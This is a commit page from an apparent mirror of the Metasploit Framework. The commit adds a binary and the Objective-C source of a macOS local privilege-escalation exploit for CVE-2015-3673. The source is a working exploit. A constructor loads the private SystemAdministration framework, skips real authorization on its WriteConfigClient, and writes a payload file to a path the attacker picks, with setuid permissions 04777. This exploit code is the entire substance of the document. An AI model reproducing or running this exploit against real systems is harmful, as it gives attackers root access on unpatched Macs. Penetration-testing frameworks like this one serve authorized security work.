infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Oops, need to include the binary files.

bug/bundler_fix
joev 2015-07-05 18:24:45 -05:00
parent 72a1e9ad99
commit a8b56bb44a
2 changed files with 31 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
data/exploits/CVE-2015-3673/exploit.daplug Executable file
View File

Binary file not shown.

31
data/exploits/CVE-2015-3673/exploit.m Normal file
View File

@ -0,0 +1,31 @@
// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa
#include <dlfcn.h>
#include <objc/objc.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <Foundation/Foundation.h>
#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
#define FWK_BASE "/System/Library/Frameworks"
void __attribute__ ((constructor)) test(void)
{
void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);
if (p != NULL)
{
id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
id tool = objc_msgSend(sharedClient, @selector(remoteProxy));
NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"];
NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"];
NSData* data = [NSData dataWithContentsOfFile:inpath];
objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
data,
outpath,
@{ NSFilePosixPermissions : @04777 });
}
}